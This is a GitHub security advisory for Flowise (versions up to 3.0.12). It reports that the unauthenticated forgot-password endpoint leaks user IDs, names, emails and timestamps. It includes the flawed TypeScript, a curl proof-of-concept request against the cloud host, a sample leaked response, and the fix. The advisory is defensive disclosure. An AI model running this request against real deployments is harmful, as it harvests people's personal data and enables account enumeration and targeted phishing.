GHSA-JC5M-WRP2-QQ38
Vulnerability from github – Published: 2026-03-05 21:58 – Updated: 2026-03-05 21:58Summary
The /api/v1/account/forgot-password endpoint returns the full user object including PII (id, name, email, status, timestamps) in the response body instead of a generic success message. This exposes sensitive user information to unauthenticated attackers who only need to know a valid email address.
Vulnerability Details
| Field | Value |
|---|---|
| CWE | CWE-200: Exposure of Sensitive Information to an Unauthorized Actor |
| Affected File | packages/server/src/enterprise/services/account.service.ts (lines 517-545) |
| Endpoint | POST /api/v1/account/forgot-password |
| Authentication | None required |
| CVSS 3.1 | 3.7 (Low) |
Root Cause
In account.service.ts, the forgotPassword method returns the sanitized user object instead of a simple success acknowledgment:
public async forgotPassword(data: AccountDTO) {
// ...
const user = await this.userService.readUserByEmail(data.user.email, queryRunner)
if (!user) throw new InternalFlowiseError(StatusCodes.NOT_FOUND, UserErrorMessage.USER_NOT_FOUND)
data.user = user
// ... password reset logic ...
return sanitizeUser(data.user) // Returns user object with PII
}
The sanitizeUser function only removes sensitive authentication fields:
export function sanitizeUser(user: Partial<User>) {
delete user.credential // password hash
delete user.tempToken // reset token
delete user.tokenExpiry
return user // Still contains: id, name, email, status, createdDate, updatedDate
}
Impact
An unauthenticated attacker can:
- Harvest PII: Collect user IDs, full names, and account metadata
- Profile users: Determine account creation dates and activity patterns
- Enumerate accounts: Confirm email existence and gather associated data
- Enable further attacks: Use harvested data for social engineering or targeted phishing
Exploitation
curl -X POST "https://cloud.flowiseai.com/api/v1/account/forgot-password" \
-H "Content-Type: application/json" \
-d '{"user":{"email":"victim@example.com"}}'
Evidence
Request:
POST /api/v1/account/forgot-password HTTP/1.1
Host: cloud.flowiseai.com
Content-Type: application/json
{"user":{"email":"vefag54010@naprb.com"}}
Response (201 Created):
{
"id": "56c3fc72-4e85-49c9-a4b5-d1a46b373a12",
"name": "Vefag naprb",
"email": "vefag54010@naprb.com",
"status": "active",
"createdDate": "2026-01-17T15:21:59.152Z",
"updatedDate": "2026-01-17T15:35:06.492Z",
"createdBy": "56c3fc72-4e85-49c9-a4b5-d1a46b373a12",
"updatedBy": "56c3fc72-4e85-49c9-a4b5-d1a46b373a12"
}
Exposed Data
| Field | Risk |
|---|---|
id |
Internal user UUID - enables targeted attacks |
name |
Full name - PII disclosure |
email |
Email confirmation |
status |
Account state information |
createdDate |
User profiling |
updatedDate |
Activity tracking |
createdBy / updatedBy |
Internal reference leak |
Expected Behavior
A secure forgot-password endpoint should return a generic response regardless of whether the email exists:
{"message": "If this email exists, a password reset link has been sent."}
References
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.0.12"
},
"package": {
"ecosystem": "npm",
"name": "flowise"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.0.13"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-05T21:58:02Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nThe `/api/v1/account/forgot-password` endpoint returns the full user object including PII (id, name, email, status, timestamps) in the response body instead of a generic success message. This exposes sensitive user information to unauthenticated attackers who only need to know a valid email address.\n\n## Vulnerability Details\n\n| Field | Value |\n|-------|-------|\n| CWE | CWE-200: Exposure of Sensitive Information to an Unauthorized Actor |\n| Affected File | `packages/server/src/enterprise/services/account.service.ts` (lines 517-545) |\n| Endpoint | `POST /api/v1/account/forgot-password` |\n| Authentication | None required |\n| CVSS 3.1 | 3.7 (Low) |\n\n## Root Cause\n\nIn `account.service.ts`, the `forgotPassword` method returns the sanitized user object instead of a simple success acknowledgment:\n\n```typescript\npublic async forgotPassword(data: AccountDTO) {\n // ...\n const user = await this.userService.readUserByEmail(data.user.email, queryRunner)\n if (!user) throw new InternalFlowiseError(StatusCodes.NOT_FOUND, UserErrorMessage.USER_NOT_FOUND)\n\n data.user = user\n // ... password reset logic ...\n\n return sanitizeUser(data.user) // Returns user object with PII\n}\n```\n\nThe `sanitizeUser` function only removes sensitive authentication fields:\n\n```typescript\nexport function sanitizeUser(user: Partial\u003cUser\u003e) {\n delete user.credential // password hash\n delete user.tempToken // reset token\n delete user.tokenExpiry\n\n return user // Still contains: id, name, email, status, createdDate, updatedDate\n}\n```\n\n## Impact\n\nAn unauthenticated attacker can:\n\n1. **Harvest PII**: Collect user IDs, full names, and account metadata\n2. **Profile users**: Determine account creation dates and activity patterns\n3. **Enumerate accounts**: Confirm email existence and gather associated data\n4. **Enable further attacks**: Use harvested data for social engineering or targeted phishing\n\n## Exploitation\n\n```bash\ncurl -X POST \"https://cloud.flowiseai.com/api/v1/account/forgot-password\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"user\":{\"email\":\"victim@example.com\"}}\u0027\n```\n\n### Evidence\n\n**Request:**\n```http\nPOST /api/v1/account/forgot-password HTTP/1.1\nHost: cloud.flowiseai.com\nContent-Type: application/json\n\n{\"user\":{\"email\":\"vefag54010@naprb.com\"}}\n```\n\n**Response (201 Created):**\n```json\n{\n \"id\": \"56c3fc72-4e85-49c9-a4b5-d1a46b373a12\",\n \"name\": \"Vefag naprb\",\n \"email\": \"vefag54010@naprb.com\",\n \"status\": \"active\",\n \"createdDate\": \"2026-01-17T15:21:59.152Z\",\n \"updatedDate\": \"2026-01-17T15:35:06.492Z\",\n \"createdBy\": \"56c3fc72-4e85-49c9-a4b5-d1a46b373a12\",\n \"updatedBy\": \"56c3fc72-4e85-49c9-a4b5-d1a46b373a12\"\n}\n```\n\n\u003cimg width=\"1582\" height=\"791\" alt=\"screenshot\" src=\"https://github.com/user-attachments/assets/9880f037-6e21-41d7-a7c8-7057c6775b50\" /\u003e\n\n## Exposed Data\n\n| Field | Risk |\n|-------|------|\n| `id` | Internal user UUID - enables targeted attacks |\n| `name` | Full name - PII disclosure |\n| `email` | Email confirmation |\n| `status` | Account state information |\n| `createdDate` | User profiling |\n| `updatedDate` | Activity tracking |\n| `createdBy` / `updatedBy` | Internal reference leak |\n\n## Expected Behavior\n\nA secure forgot-password endpoint should return a generic response regardless of whether the email exists:\n\n```json\n{\"message\": \"If this email exists, a password reset link has been sent.\"}\n```\n\n## References\n\n- [CWE-200: Exposure of Sensitive Information](https://cwe.mitre.org/data/definitions/200.html)\n- [OWASP Authentication Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html#password-recovery)",
"id": "GHSA-jc5m-wrp2-qq38",
"modified": "2026-03-05T21:58:02Z",
"published": "2026-03-05T21:58:02Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-jc5m-wrp2-qq38"
},
{
"type": "PACKAGE",
"url": "https://github.com/FlowiseAI/Flowise"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Flowise Vulnerable to PII Disclosure on Unauthenticated Forgot Password Endpoint"
}
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